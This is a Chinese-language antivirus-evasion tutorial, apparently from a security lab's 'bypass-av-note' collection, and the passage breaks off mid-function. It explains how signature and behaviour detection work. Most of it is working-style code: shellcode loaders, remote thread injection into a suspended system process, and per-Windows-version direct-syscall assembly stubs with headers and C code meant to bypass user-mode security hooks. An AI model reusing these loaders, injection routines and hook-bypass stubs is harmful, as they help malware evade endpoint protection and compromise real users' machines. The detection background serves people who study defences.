Author: Boi@Linton Lab 360


目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。

对特征来讲,大多数杀毒软件会定义一个阈值,当文件内部的特征数量达到一定程度就会触发报警,也不排除杀软会针对某个 EXP 会限制特定的入口函数来查杀。当然还有通过 md5,sha1 等 hash 函数来识别恶意软件,这也是最简单粗暴,最容易绕过的。 针对特征的免杀较为好做,可以使用加壳改壳、添加 / 替换资源、修改已知特征码 / 会增加查杀概率的单词(比如某函数名为 ExecutePayloadshellcode)、加密 Shellcode 等等。

CreateThread CreateThreadEx

xxx -> ntdll.dll -> win32API

对行为来讲,很多个 API 可能会触发杀软的监控,比如注册表操作、添加启动项、添加服务、添加用户、注入、劫持、创建进程、加载 DLL 等等。 针对行为的免杀,我们可以使用白名单、替换 API、替换操作方式(如使用 WMI/COM 的方法操作文件)等等方法实现绕过。除常规的替换、使用未导出的 API 等姿势外,我们还可以使用通过直接系统调用的方式实现,比如使用内核层面 Zw 系列的 API,绕过杀软对应用层的监控(如下图所示,使用 ZwAllocateVirtualMemory 函数替代 VirtualAlloc)。

Loader tech

CreateThread

  1. int main()
  2. {
  3. LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  4. unsigned char data[] = "\x00\x48\x83";
  5. char a1[] = "\xfc\xe4\xc8";
  6. SIZE_T Size = sizeof(data);
  7. //decrypt
  8. for (int i = 0; i < sizeof(a1); i++) {
  9. memcpy(&data[i * 3], &a1[i], 1);
  10. }
  11. RtlMoveMemory(lpvAddr, data, sizeof(data));
  12. DWORD pa = 0x01;
  13. VirtualProtect(lpvAddr, sizeof(data), 0x10, &pa);
  14. if (lpvAddr != NULL) {
  15. HANDLE s;
  16. s = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpvAddr, data, 0, 0);
  17. WaitForSingleObject(s, INFINITE);
  18. }
  19. }

ThreadHijacking

VirtualAllocEx(CreateNewProcess)

  1. char a1[] = "\xfc\xe4\xc8\x00\x41\x51...";
  2. SIZE_T size = 0;
  3. STARTUPINFOEXA si;
  4. PROCESS_INFORMATION pi;
  5. ZeroMemory(&si, sizeof(si));
  6. si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
  7. si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
  8. ZeroMemory(&si, sizeof(si));
  9. si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
  10. si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
  11. InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
  12. BOOL success = CreateProcessA(
  13. NULL,
  14. (LPSTR)"C:\\Windows\\System32\\mblctr.exe",
  15. NULL,
  16. NULL,
  17. true,
  18. CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,//有扩展启动信息的结构体
  19. NULL,
  20. NULL,
  21. reinterpret_cast<LPSTARTUPINFOA>(&si),
  22. &pi);
  23. HANDLE notepadHandle = pi.hProcess;
  24. LPVOID remoteBuffer = VirtualAllocEx(notepadHandle, NULL, sizeof data, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  25. WriteProcessMemory(notepadHandle, remoteBuffer, data, sizeof data, NULL);
  26. HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  27. if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
  28. return 1;
  29. }
  30. if (ResumeThread(pi.hThread) == -1) {
  31. return 1;
  32. }

VirtualAllocEx(Use existing app)

  1. HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID);
  2. if (hProc == INVALID_HANDLE_VALUE) {
  3. printf("Error opening process ID %d\n", procID);
  4. return 1;
  5. }
  6. void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  7. if (alloc == NULL) {
  8. printf("Error allocating memory in remote process\n");
  9. return 1;
  10. }
  11. if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) {
  12. printf("Error writing to remote process memory\n");
  13. return 1;
  14. }
  15. HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
  16. if (tRemote == INVALID_HANDLE_VALUE) {
  17. printf("Error starting remote thread\n");
  18. return 1;
  19. }
  20. WaitForSingleObject(tRemote, INFINITE) == WAIT_FAILED

VirtualProtect

  1. // BOOL VirtualProtect(
  2. // LPVOID lpAddress,
  3. // SIZE_T dwSize,
  4. // DWORD flNewProtect,
  5. // PDWORD lpflOldProtect
  6. // );
  7. LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  8. DWORD pa = 0x01;
  9. VirtualProtect(lpvAddr, sizeof(data), PAGE_EXECUTE, &pa);
  10. //PAGE_EXECUTE 启用对页面的提交区域的执行访问。尝试写入提交的区域会导致访问冲突

sRDI

https://github.com/monoxgas/sRDI

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图1

系统直接调用

Windows 操作系统中实际只使用了两个特权级别:

一个是 Ring3 层,平时我们所见到的应用程序运行在这一层,所以叫它用户层,也叫 User-Mode。所以下次听到别人讲(Ring3、用户层、User-Mode)时,其实是在讲同一个概念。

一个是 Ring0 层,像操作系统内核(Kernel)这样重要的系统组件,以及设备驱动都是运行在 Ring0,内核层,也叫 Kernel-Mode。 Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图2

通过这些保护层来隔离普通的用户程序,不能直接访问内存区域,以及运行在内核模式下的系统资源。

当一个用户层程序需要执行一个特权系统操作,或者访问内核资源时。处理器首先需要切换到 Ring0 模式下才能执行后面的操作。

切换 Ring0 的代码,也就是直接系统调用所在的地方。

我们通过监控 Notepad.exe 进程保存一个. txt 文件,来演示一个应用层程序如何切换到内核模式执行的: Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图3

我们可以看到 notepad 调用了 kernel32 模块中的 WriteFile 函数,然后该函数内部又调用了 ntdll 中的 NtWriteFile 来到了 Ring3 与 Ring0 的临界点。

因为程序保存文件到磁盘上,所以操作系统需要访问相关的文件系统和设备驱动。应用层程序自己是不允许直接访问这些需要特权资源的。

应用程序直接访问设备驱动会引起一些意外的后果(当然操作系统不会出事,最多就是应用程序的执行流程出错导致崩溃)。所以,在进入内核层之前,调用的最后一个用户层 API 就是负责切换到内核模式的。

CPU 中通过执行 syscall 指令,来进入内核模式,至少 x64 架构是这样的。

Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图4

把被调用函数相关的参数 PUSH 到栈上以后,ntdll 中的 NtWriteFile 函数的职责就是,设置 EAX 为对应的 “系统调用号”,最后执行 syscall 指令,CPU 就来到了内核模式(Ring0)下执行。

进入内核模式后,内核通过 diapatch table(SSDT),来找到和系统调用号对应的 Kernel API,然后将用户层栈上的参数,拷贝到内核层的栈中,最后调用内核版本的 ZwWriteFile 函数。

当内核函数执行完成时,使用几乎相同的方法回到用户层,并返回内核 API 函数的返回值(指向接收数据的指针或文件句柄)。

Windows 系统架构图 Airboi/bypass-av-note: 免杀技术大杂烩---乱拳也打不死老师傅 - 图5

用户层的应用程序要想和底层系统交互,通常使用应用程序编程接口(Application Programming Interface )也就是所谓的 API。如果你是编写 C/C++ 应用的 Windows 程序开发程序员,通常使用 Win32 API。

Win32API 是微软封装的一套 API 接口,由几个 DLL(所谓的 Win32 子系统 DLL)组成。在 Win32 API 下面使用的是 Naitve API(ntdll.dll),这个才是真正用户层和系统底层交互的接口,一般称为用户层和内核层之间的桥梁。

但是 ntdll 中函数大部分都没有被微软记录到官方的开发文档中,为了兼容性问题,大多数情况在写程序时,应该避免直接使用 ntdll 中的 API。

如何通过编程来绕过 Win32 接口层,直接调用系统 API 并绕过潜在的 Ring3 层 Hook?

system.asm

  1. .code
  2. ; Reference: https://j00ru.vexillium.org/syscalls/nt/64/
  3. ; Windows 7 SP1 / Server 2008 R2 specific syscalls
  4. NtCreateThread7SP1 proc
  5. mov r10, rcx
  6. mov eax, 4Bh
  7. syscall
  8. ret
  9. NtCreateThread7SP1 endp
  10. ZwOpenProcess7SP1 proc
  11. mov r10, rcx
  12. mov eax, 23h
  13. syscall
  14. ret
  15. ZwOpenProcess7SP1 endp
  16. ZwClose7SP1 proc
  17. mov r10, rcx
  18. mov eax, 0Ch
  19. syscall
  20. ret
  21. ZwClose7SP1 endp
  22. ZwWriteVirtualMemory7SP1 proc
  23. mov r10, rcx
  24. mov eax, 37h
  25. syscall
  26. ret
  27. ZwWriteVirtualMemory7SP1 endp
  28. ZwProtectVirtualMemory7SP1 proc
  29. mov r10, rcx
  30. mov eax, 4Dh
  31. syscall
  32. ret
  33. ZwProtectVirtualMemory7SP1 endp
  34. ZwQuerySystemInformation7SP1 proc
  35. mov r10, rcx
  36. mov eax, 33h
  37. syscall
  38. ret
  39. ZwQuerySystemInformation7SP1 endp
  40. NtAllocateVirtualMemory7SP1 proc
  41. mov r10, rcx
  42. mov eax, 15h
  43. syscall
  44. ret
  45. NtAllocateVirtualMemory7SP1 endp
  46. NtFreeVirtualMemory7SP1 proc
  47. mov r10, rcx
  48. mov eax, 1Bh
  49. syscall
  50. ret
  51. NtFreeVirtualMemory7SP1 endp
  52. NtCreateFile7SP1 proc
  53. mov r10, rcx
  54. mov eax, 52h
  55. syscall
  56. ret
  57. NtCreateFile7SP1 endp
  58. ; Windows 8 / Server 2012 specific syscalls
  59. ZwOpenProcess80 proc
  60. mov r10, rcx
  61. mov eax, 24h
  62. syscall
  63. ret
  64. ZwOpenProcess80 endp
  65. ZwClose80 proc
  66. mov r10, rcx
  67. mov eax, 0Dh
  68. syscall
  69. ret
  70. ZwClose80 endp
  71. ZwWriteVirtualMemory80 proc
  72. mov r10, rcx
  73. mov eax, 38h
  74. syscall
  75. ret
  76. ZwWriteVirtualMemory80 endp
  77. ZwProtectVirtualMemory80 proc
  78. mov r10, rcx
  79. mov eax, 4Eh
  80. syscall
  81. ret
  82. ZwProtectVirtualMemory80 endp
  83. ZwQuerySystemInformation80 proc
  84. mov r10, rcx
  85. mov eax, 34h
  86. syscall
  87. ret
  88. ZwQuerySystemInformation80 endp
  89. NtAllocateVirtualMemory80 proc
  90. mov r10, rcx
  91. mov eax, 16h
  92. syscall
  93. ret
  94. NtAllocateVirtualMemory80 endp
  95. NtFreeVirtualMemory80 proc
  96. mov r10, rcx
  97. mov eax, 1Ch
  98. syscall
  99. ret
  100. NtFreeVirtualMemory80 endp
  101. NtCreateFile80 proc
  102. mov r10, rcx
  103. mov eax, 53h
  104. syscall
  105. ret
  106. NtCreateFile80 endp
  107. ; Windows 8.1 / Server 2012 R2 specific syscalls
  108. NtCreateThread81 proc
  109. mov r10, rcx
  110. mov eax, 4Dh
  111. syscall
  112. ret
  113. NtCreateThread81 endp
  114. ZwOpenProcess81 proc
  115. mov r10, rcx
  116. mov eax, 25h
  117. syscall
  118. ret
  119. ZwOpenProcess81 endp
  120. ZwClose81 proc
  121. mov r10, rcx
  122. mov eax, 0Eh
  123. syscall
  124. ret
  125. ZwClose81 endp
  126. ZwWriteVirtualMemory81 proc
  127. mov r10, rcx
  128. mov eax, 39h
  129. syscall
  130. ret
  131. ZwWriteVirtualMemory81 endp
  132. ZwProtectVirtualMemory81 proc
  133. mov r10, rcx
  134. mov eax, 4Fh
  135. syscall
  136. ret
  137. ZwProtectVirtualMemory81 endp
  138. ZwQuerySystemInformation81 proc
  139. mov r10, rcx
  140. mov eax, 35h
  141. syscall
  142. ret
  143. ZwQuerySystemInformation81 endp
  144. NtAllocateVirtualMemory81 proc
  145. mov r10, rcx
  146. mov eax, 17h
  147. syscall
  148. ret
  149. NtAllocateVirtualMemory81 endp
  150. NtFreeVirtualMemory81 proc
  151. mov r10, rcx
  152. mov eax, 1Dh
  153. syscall
  154. ret
  155. NtFreeVirtualMemory81 endp
  156. NtCreateFile81 proc
  157. mov r10, rcx
  158. mov eax, 54h
  159. syscall
  160. ret
  161. NtCreateFile81 endp
  162. ; Windows 10 / Server 2016 specific syscalls
  163. ZwOpenProcess10 proc
  164. mov r10, rcx
  165. mov eax, 26h
  166. syscall
  167. ret
  168. ZwOpenProcess10 endp
  169. ZwClose10 proc
  170. mov r10, rcx
  171. mov eax, 0Fh
  172. syscall
  173. ret
  174. ZwClose10 endp
  175. ZwWriteVirtualMemory10 proc
  176. mov r10, rcx
  177. mov eax, 3Ah
  178. syscall
  179. ret
  180. ZwWriteVirtualMemory10 endp
  181. ZwProtectVirtualMemory10 proc
  182. mov r10, rcx
  183. mov eax, 50h
  184. syscall
  185. ret
  186. ZwProtectVirtualMemory10 endp
  187. ZwQuerySystemInformation10 proc
  188. mov r10, rcx
  189. mov eax, 36h
  190. syscall
  191. ret
  192. ZwQuerySystemInformation10 endp
  193. NtAllocateVirtualMemory10 proc
  194. mov r10, rcx
  195. mov eax, 18h
  196. syscall
  197. ret
  198. NtAllocateVirtualMemory10 endp
  199. NtFreeVirtualMemory10 proc
  200. mov r10, rcx
  201. mov eax, 1Eh
  202. syscall
  203. ret
  204. NtFreeVirtualMemory10 endp
  205. NtCreateFile10 proc
  206. mov r10, rcx
  207. mov eax, 55h
  208. syscall
  209. ret
  210. NtCreateFile10 endp
  211. NtCreateThread10 proc
  212. mov r10, rcx
  213. mov eax, 4Eh
  214. syscall
  215. ret
  216. NtCreateThread10 endp
  217. NtCreateThreadEx10 proc
  218. mov r10, rcx
  219. mov eax, 0BBh
  220. syscall
  221. ret
  222. NtCreateThreadEx10 endp
  223. NtAllocateVirtualMemoryEx10 proc
  224. mov r10, rcx
  225. mov eax, 0BBh
  226. syscall
  227. ret
  228. NtAllocateVirtualMemoryEx10 endp
  229. end

xx.h

  1. #pragma once
  2. #include <Windows.h>
  3. #define STATUS_SUCCESS 0
  4. #define OBJ_CASE_INSENSITIVE 0x00000040L
  5. #define FILE_OVERWRITE_IF 0x00000005
  6. #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
  7. typedef LONG KPRIORITY;
  8. #define InitializeObjectAttributes( i, o, a, r, s ) { \
  9. (i)->Length = sizeof( OBJECT_ATTRIBUTES ); \
  10. (i)->RootDirectory = r; \
  11. (i)->Attributes = a; \
  12. (i)->ObjectName = o; \
  13. (i)->SecurityDescriptor = s; \
  14. (i)->SecurityQualityOfService = NULL; \
  15. }
  16. typedef struct _UNICODE_STRING {
  17. USHORT Length;
  18. USHORT MaximumLength;
  19. PWSTR Buffer;
  20. } UNICODE_STRING, * PUNICODE_STRING;
  21. typedef const UNICODE_STRING* PCUNICODE_STRING;
  22. typedef struct _WIN_VER_INFO {
  23. WCHAR chOSMajorMinor[8];
  24. DWORD dwBuildNumber;
  25. UNICODE_STRING ProcName;
  26. HANDLE hTargetPID;
  27. LPCSTR lpApiCall;
  28. INT SystemCall;
  29. } WIN_VER_INFO, * PWIN_VER_INFO;
  30. typedef struct _OBJECT_ATTRIBUTES {
  31. ULONG Length;
  32. HANDLE RootDirectory;
  33. PUNICODE_STRING ObjectName;
  34. ULONG Attributes;
  35. PVOID SecurityDescriptor;
  36. PVOID SecurityQualityOfService;
  37. } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
  38. typedef struct _CLIENT_ID {
  39. HANDLE UniqueProcess;
  40. HANDLE UniqueThread;
  41. } CLIENT_ID, * PCLIENT_ID;
  42. typedef enum _SYSTEM_INFORMATION_CLASS {
  43. SystemBasicInformation,
  44. SystemProcessorInformation,
  45. SystemPerformanceInformation,
  46. SystemTimeOfDayInformation,
  47. SystemPathInformation,
  48. SystemProcessInformation,
  49. SystemCallCountInformation,
  50. SystemDeviceInformation,
  51. SystemProcessorPerformanceInformation,
  52. SystemFlagsInformation,
  53. SystemCallTimeInformation,
  54. SystemModuleInformation
  55. } SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;
  56. typedef struct _INITIAL_TEB
  57. {
  58. struct
  59. {
  60. PVOID OldStackBase;
  61. PVOID OldStackLimit;
  62. } OldInitialTeb;
  63. PVOID StackBase;
  64. PVOID StackLimit;
  65. PVOID StackAllocationBase;
  66. } INITIAL_TEB, * PINITIAL_TEB;
  67. typedef struct _SYSTEM_PROCESSES {
  68. ULONG NextEntryDelta;
  69. ULONG ThreadCount;
  70. ULONG Reserved1[6];
  71. LARGE_INTEGER CreateTime;
  72. LARGE_INTEGER UserTime;
  73. LARGE_INTEGER KernelTime;
  74. UNICODE_STRING ProcessName;
  75. KPRIORITY BasePriority;
  76. HANDLE ProcessId;
  77. HANDLE InheritedFromProcessId;
  78. } SYSTEM_PROCESSES, * PSYSTEM_PROCESSES;
  79. typedef struct _IO_STATUS_BLOCK
  80. {
  81. union
  82. {
  83. LONG Status;
  84. PVOID Pointer;
  85. };
  86. ULONG Information;
  87. } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
  88. // Windows 7 SP1 / Server 2008 R2 specific Syscalls
  89. EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation7SP1(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
  90. EXTERN_C NTSTATUS ZwOpenProcess7SP1(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
  91. EXTERN_C NTSTATUS NtFreeVirtualMemory7SP1(HANDLE ProcessHandle, PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType);
  92. EXTERN_C NTSTATUS NtAllocateVirtualMemory7SP1(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
  93. EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
  94. EXTERN_C NTSTATUS NtCreateThread7SP1(
  95. OUT PHANDLE ThreadHandle,
  96. IN ACCESS_MASK DesiredAccess,
  97. IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
  98. IN HANDLE ProcessHandle,
  99. OUT PCLIENT_ID ClientId,
  100. IN PCONTEXT ThreadContext,
  101. IN PINITIAL_TEB InitialTeb,
  102. IN BOOLEAN CreateSuspended
  103. );
  104. // Windows 8 / Server 2012 specific Syscalls
  105. EXTERN_C NTSTATUS NtAllocateVirtualMemory80(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
  106. EXTERN_C NTSTATUS NtCreateThread80(
  107. OUT PHANDLE ThreadHandle,
  108. IN ACCESS_MASK DesiredAccess,
  109. IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
  110. IN HANDLE ProcessHandle,
  111. OUT PCLIENT_ID ClientId,
  112. IN PCONTEXT ThreadContext,
  113. IN PINITIAL_TEB InitialTeb,
  114. IN BOOLEAN CreateSuspended
  115. );
  116. // Windows 8.1 / Server 2012 R2 specific Syscalls
  117. EXTERN_C NTSTATUS ZwOpenProcess81(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
  118. EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation81(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
  119. EXTERN_C NTSTATUS NtFreeVirtualMemory81(HANDLE ProcessHandle, PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType);
  120. EXTERN_C NTSTATUS NtAllocateVirtualMemory81(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
  121. EXTERN_C NTSTATUS ZwProtectVirtualMemory81(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
  122. EXTERN_C NTSTATUS NtCreateThread81(
  123. OUT PHANDLE ThreadHandle,
  124. IN ACCESS_MASK DesiredAccess,
  125. IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
  126. IN HANDLE ProcessHandle,
  127. OUT PCLIENT_ID ClientId,
  128. IN PCONTEXT ThreadContext,
  129. IN PINITIAL_TEB InitialTeb,
  130. IN BOOLEAN CreateSuspended
  131. );
  132. // Windows 10 / Server 2016 specific Syscalls
  133. EXTERN_C NTSTATUS ZwOpenProcess10(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
  134. EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
  135. EXTERN_C NTSTATUS NtFreeVirtualMemory10(HANDLE ProcessHandle, PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType);
  136. EXTERN_C NTSTATUS NtAllocateVirtualMemory10(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
  137. EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
  138. EXTERN_C NTSTATUS NtCreateThread10(
  139. OUT PHANDLE ThreadHandle,
  140. IN ACCESS_MASK DesiredAccess,
  141. IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
  142. IN HANDLE ProcessHandle,
  143. OUT PCLIENT_ID ClientId,
  144. IN PCONTEXT ThreadContext,
  145. IN PINITIAL_TEB InitialTeb,
  146. IN BOOLEAN CreateSuspended
  147. );
  148. EXTERN_C NTSTATUS NtCreateThreadEx10(
  149. OUT PHANDLE hThread,
  150. IN ACCESS_MASK DesiredAccess,
  151. IN LPVOID ObjectAttributes,
  152. IN HANDLE ProcessHandle,
  153. IN LPTHREAD_START_ROUTINE lpStartAddress,
  154. IN LPVOID lpParameter,
  155. IN BOOL CreateSuspended,
  156. IN ULONG StackZeroBits,
  157. IN ULONG SizeOfStackCommit,
  158. IN ULONG SizeOfStackReserve,
  159. OUT LPVOID lpBytesBuffer
  160. );
  161. EXTERN_C NTSTATUS NtAllocateVirtualMemoryEx10(
  162. _In_opt_ HANDLE Process,
  163. _In_opt_ PVOID* BaseAddress,
  164. _In_ SIZE_T* RegionSize,
  165. _In_ ULONG AllocationType,
  166. _In_ ULONG PageProtection,
  167. _Inout_updates_opt_(ParameterCount) MEM_EXTENDED_PARAMETER* Parameters,
  168. _In_ ULONG ParameterCount
  169. );
  170. NTSTATUS(*NtAllocateVirtualMemoryEx) (
  171. _In_opt_ HANDLE Process,
  172. _In_opt_ PVOID* BaseAddress,
  173. _In_ SIZE_T* RegionSize,
  174. _In_ ULONG AllocationType,
  175. _In_ ULONG PageProtection,
  176. _Inout_updates_opt_(ParameterCount) MEM_EXTENDED_PARAMETER* Parameters,
  177. _In_ ULONG ParameterCount
  178. );
  179. NTSTATUS(*NtCreateThreadEx) (
  180. OUT PHANDLE hThread,
  181. IN ACCESS_MASK DesiredAccess,
  182. IN LPVOID ObjectAttributes,
  183. IN HANDLE ProcessHandle,
  184. IN LPTHREAD_START_ROUTINE lpStartAddress,
  185. IN LPVOID lpParameter,
  186. IN BOOL CreateSuspended,
  187. IN ULONG StackZeroBits,
  188. IN ULONG SizeOfStackCommit,
  189. IN ULONG SizeOfStackReserve,
  190. OUT LPVOID lpBytesBuffer
  191. );
  192. NTSTATUS(*NtAllocateVirtualMemory)(
  193. HANDLE ProcessHandle,
  194. PVOID* BaseAddress,
  195. ULONG_PTR ZeroBits,
  196. PSIZE_T RegionSize,
  197. ULONG AllocationType,
  198. ULONG Protect
  199. );
  200. NTSTATUS(*ZwProtectVirtualMemory)(
  201. IN HANDLE ProcessHandle,
  202. IN PVOID* BaseAddress,
  203. IN SIZE_T* NumberOfBytesToProtect,
  204. IN ULONG NewAccessProtection,
  205. OUT PULONG OldAccessProtection
  206. );
  207. NTSTATUS(*NtFreeVirtualMemory)(
  208. HANDLE ProcessHandle,
  209. PVOID* BaseAddress,
  210. IN OUT PSIZE_T RegionSize,
  211. ULONG FreeType
  212. );
  213. NTSTATUS(*ZwOpenProcess)(
  214. PHANDLE ProcessHandle,
  215. ACCESS_MASK DesiredAccess,
  216. POBJECT_ATTRIBUTES ObjectAttributes,
  217. PCLIENT_ID ClientId
  218. );
  219. NTSTATUS(WINAPI* ZwQuerySystemInformation)(
  220. SYSTEM_INFORMATION_CLASS SystemInformationClass,
  221. PVOID SystemInformation,
  222. ULONG SystemInformationLength,
  223. PULONG ReturnLength
  224. );
  225. NTSTATUS(*NtCreateThread)(
  226. OUT PHANDLE ThreadHandle,
  227. IN ACCESS_MASK DesiredAccess,
  228. IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
  229. IN HANDLE ProcessHandle,
  230. OUT PCLIENT_ID ClientId,
  231. IN PCONTEXT ThreadContext,
  232. IN PINITIAL_TEB InitialTeb,
  233. IN BOOLEAN CreateSuspended
  234. );
  235. typedef NTSTATUS(NTAPI* _RtlGetVersion)(
  236. LPOSVERSIONINFOEXW lpVersionInformation
  237. );
  238. typedef void (WINAPI* _RtlInitUnicodeString)(
  239. PUNICODE_STRING DestinationString,
  240. PCWSTR SourceString
  241. );
  242. typedef NTSYSAPI BOOLEAN(NTAPI* _RtlEqualUnicodeString)(
  243. PUNICODE_STRING String1,
  244. PCUNICODE_STRING String2,
  245. BOOLEAN CaseInSensitive
  246. );

xx.c

  1. #undef _UNICODE
  2. #define _UNICODE
  3. #undef UNICODE
  4. #define UNICODE
  5. #include <Windows.h>
  6. #include <stdio.h>
  7. #include "Dumpert.h"
  8. #pragma comment (lib, "Dbghelp.lib")
  9. #define RPL_MASK 0x0003
  10. #define MODE_MASK 0x0001
  11. #define KGDT64_NULL 0x0000
  12. #define KGDT64_R0_CODE 0x0010
  13. #define KGDT64_R0_DATA 0x0018
  14. #define KGDT64_R3_CMCODE 0x0020
  15. #define KGDT64_R3_DATA 0x0028
  16. #define KGDT64_R3_CODE 0x0030
  17. #define KGDT64_SYS_TSS 0x0040
  18. #define KGDT64_R3_CMTEB 0x0050
  19. #define KGDT64_R0_LDT 0x0060
  20. DWORD WINAPI StartAddress(LPVOID lpThreadParameter) {
  21. return ((int(__stdcall*)(LPVOID))lpThreadParameter)(lpThreadParameter);
  22. }
  23. NTSTATUS MyInitTeb(PINITIAL_TEB InitialTeb) {
  24. PVOID StackBaseAddr = NULL;
  25. SIZE_T StackSize = 0x1000 * 10;
  26. NTSTATUS Status;
  27. Status = NtAllocateVirtualMemory(GetCurrentProcess(),
  28. (PVOID*)&StackBaseAddr,
  29. 0,
  30. &StackSize,
  31. MEM_RESERVE | MEM_COMMIT,
  32. PAGE_READWRITE);
  33. if (Status != 0) {
  34. printf("MyInitStack:%llx\n", Status);
  35. return Status;
  36. }
  37. InitialTeb->StackAllocationBase = (PVOID)StackBaseAddr;
  38. InitialTeb->StackBase = (PVOID)((INT64)StackBaseAddr + StackSize - 0x1000*5);
  39. InitialTeb->OldInitialTeb.OldStackBase = NULL;
  40. InitialTeb->OldInitialTeb.OldStackLimit = NULL;
  41. InitialTeb->StackLimit = StackBaseAddr;
  42. return STATUS_SUCCESS;
  43. }
  44. NTSTATUS MyInitContext(
  45. PCONTEXT pContext,
  46. PVOID ThreadFuncAddr,
  47. PVOID FuncArgAddr,
  48. PVOID StackBaseAddr) {
  49. // set rsp
  50. pContext->Rsp = (DWORD64)StackBaseAddr;
  51. // set ip and rcx
  52. pContext->Rip = (DWORD64)ThreadFuncAddr;
  53. pContext->Rcx = (DWORD64)FuncArgAddr;
  54. // nop
  55. pContext->Rax = (DWORD64)NULL;
  56. pContext->Rbx = (DWORD64)NULL;
  57. pContext->Rdx = (DWORD64)NULL;
  58. pContext->Rsi = (DWORD64)NULL;
  59. pContext->Rdi = (DWORD64)NULL;
  60. pContext->R8 = (DWORD64)NULL;
  61. pContext->R9 = (DWORD64)NULL;
  62. // set context flags
  63. pContext->ContextFlags = CONTEXT_FULL;
  64. // unknow
  65. pContext->EFlags = 0x3000;/* IOPL 3 */
  66. // set seg registers
  67. pContext->SegGs = KGDT64_R3_DATA | RPL_MASK;
  68. pContext->SegEs = KGDT64_R3_DATA | RPL_MASK;
  69. pContext->SegDs = KGDT64_R3_DATA | RPL_MASK;
  70. pContext->SegCs = KGDT64_R3_CODE | RPL_MASK;
  71. pContext->SegSs = KGDT64_R3_DATA | RPL_MASK;
  72. pContext->SegFs = KGDT64_R3_CMTEB | RPL_MASK;
  73. return STATUS_SUCCESS;
  74. }
  75. BOOL IsElevated() {
  76. BOOL fRet = FALSE;
  77. HANDLE hToken = NULL;
  78. if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
  79. TOKEN_ELEVATION Elevation = { 0 };
  80. DWORD cbSize = sizeof(TOKEN_ELEVATION);
  81. if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
  82. fRet = Elevation.TokenIsElevated;
  83. }
